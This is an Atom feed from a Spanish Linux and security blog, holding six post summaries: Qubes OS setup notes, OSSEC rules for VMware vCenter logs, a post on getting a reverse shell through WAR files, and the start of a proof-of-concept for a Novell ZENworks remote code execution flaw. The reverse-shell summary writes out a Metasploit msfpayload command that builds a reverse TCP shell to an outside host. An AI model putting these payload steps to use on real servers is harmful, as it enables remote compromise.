<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5533106333102648473</id><updated>2024-11-01T12:26:02.745+01:00</updated><category term="Chuletas"/><category term="Limosnas"/><category term="PoC"/><title type='text'>tucanalamigo</title><subtitle type='html'>Blog (no oficial) de #linux, tu canal amigo.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-557396065639732305</id><published>2010-05-13T00:01:00.019+02:00</published><updated>2010-05-13T00:08:48.122+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chuletas"/><title type='text'>netvm de Qubes funcionando</title><summary type="text">Hola chica/s, por fin hemos conseguido hacer que funcione la netvm de Qubes en nuestro hardware.

Nuestra eth0 usa el módulo atl1c&amp;nbsp; en el bus PCI 08:00.0. Básicamente vamos a hacer que dom0 no haga uso de eth0 para hacer un pass-through del dispositivo y que sea visible (y usable :) por netvm.

Nos aseguramos que Qubes está arrancando con soporte VT-d.
[hielo@cubitera ~]$ xm dm | egrep &#39;DMAR</summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/557396065639732305/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/netvm-de-qubes-funcionando.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/557396065639732305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/557396065639732305'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/netvm-de-qubes-funcionando.html' title='netvm de Qubes funcionando'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTtBNRkDTr11tcJskH9jf7islfrbG4V29pOjPJO42jISNIsg0U-7Nfne8kwQq3fE8ZdF2heA7qa54CsJYVqLFko6a218FDH1Te1n0Mlr-mkIKTWwMeUNTeGQBqwXllurdWRJDzDCmgQPI/s72-c/qubes-netvm-funcionando.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-6727238998880436784</id><published>2010-05-10T23:30:00.003+02:00</published><updated>2010-05-11T22:58:50.853+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Limosnas"/><title type='text'>Probando QubesOS</title><summary type="text">Os dejamos un vídeo de Qubes funcionando con dom0 como netvm, y una única AppVM, por ahora no tenemos quejas sobre el rendimiento (más allá de las propias de la virtualización y teniendo en cuenta que solo corremos una VM). En cuánto a la estabilidad, se nos ha colgado la VM en varias pruebas, hemos cerrado aplicaciones de la AppVM  y se han quedado dibujadas las ventanas en el escritorio y nos </summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/6727238998880436784/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/probando-qubesos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/6727238998880436784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/6727238998880436784'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/probando-qubesos.html' title='Probando QubesOS'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-658063249523100912</id><published>2010-05-10T02:10:00.008+02:00</published><updated>2010-05-11T22:59:39.467+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chuletas"/><title type='text'>Instalando QubesOS en un stick eSATA SSD de 16 GiB</title><summary type="text">Hola HAMIJOS, hoy os vamos a enseñar como probar QubesOS instalándolo en un stick eSATA SSD de 16 GiB, o no, ahora lo descubriréis.
Lo primero que hacemos es bajarnos la versión de 64Bits de Fedora 12, la grabamos en un DVD, y la instalamos en el stick siguiendo la recomendaciones de paquetes que nos hacen en http://qubes-os.org/trac/wiki/InstallationGuide y asignamos todo el espacio disponible a</summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/658063249523100912/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/instalando-qubesos-en-un-stick-esata.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/658063249523100912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/658063249523100912'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/05/instalando-qubesos-en-un-stick-esata.html' title='Instalando QubesOS en un stick eSATA SSD de 16 GiB'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-5806164505486797062</id><published>2010-04-30T01:48:00.010+02:00</published><updated>2010-05-10T23:32:47.458+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Limosnas"/><title type='text'>Reglas de OSSEC para vpxd</title><summary type="text">

Ejemplo cutre de decoder/rules para que OSSEC entienda el vpxd.log de VMWare Virtual Center (Probado en vCenter 4).

Decoder

&amp;lt;!-- VMWare Virtual Center vpxd logs.
- [2010-04-29 13:42:52.048 03572 warning &#39;Libs&#39;] SSLVerifyCertAgainstSystemStore: The remote host certificate has these problems:
- [2010-04-29 11:46:47.101 02144 info &#39;App&#39;] [Auth]: User DOMAIN\luser
- [2010-04-29 13:54:54.406 </summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/5806164505486797062/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/reglas-de-ossec-para-vpxd.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/5806164505486797062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/5806164505486797062'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/reglas-de-ossec-para-vpxd.html' title='Reglas de OSSEC para vpxd'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-8546648393491814975</id><published>2010-04-28T23:20:00.005+02:00</published><updated>2010-04-28T23:29:32.083+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chuletas"/><title type='text'>Shell inversa con ficheros WAR</title><summary type="text">Creamos el WAR con metasploit.luser$ ./msfpayload linux/x86/shell_reverse_tcp LHOST=10.31.33.7 LPORT=443 w &gt; shell_reverse_tcp.warCreated by msfpayload (http://www.metasploit.com).Payload: linux/x86/shell_reverse_tcpLength: 71Options: LHOST=10.31.33.7,LPORT=443Listamos el contenido del WAR para conocer e nombre del fichero al que tendremos rlanzar la petición HTTP.luser$ unzip -l </summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/8546648393491814975/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/shell-inversa-con-ficheros-war.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/8546648393491814975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/8546648393491814975'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/shell-inversa-con-ficheros-war.html' title='Shell inversa con ficheros WAR'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5533106333102648473.post-2630271624310561867</id><published>2010-04-27T03:00:00.007+02:00</published><updated>2010-04-28T00:02:00.718+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PoC"/><title type='text'>PdC de ZDI-10-078</title><summary type="text"># Exploit Title: ZDI-10-078: Novell ZENworks Configuration Management UploadServlet Remote Code Execution Vulnerability# Date: 2009-04-26# Author: tucanalamigo http://tucanalamigo.blogspot.com# Software Link: http://www.novell.com/products/zenworks/configurationmanagement/# Version: 10.2# Tested on: GNU/Linux (SLES11)* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *PoC </summary><link rel='replies' type='application/atom+xml' href='http://tucanalamigo.blogspot.com/feeds/2630271624310561867/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/2630271624310561867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5533106333102648473/posts/default/2630271624310561867'/><link rel='alternate' type='text/html' href='http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' title='PdC de ZDI-10-078'/><author><name>tucanalamigo</name><uri>http://www.blogger.com/profile/05568728543191334037</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>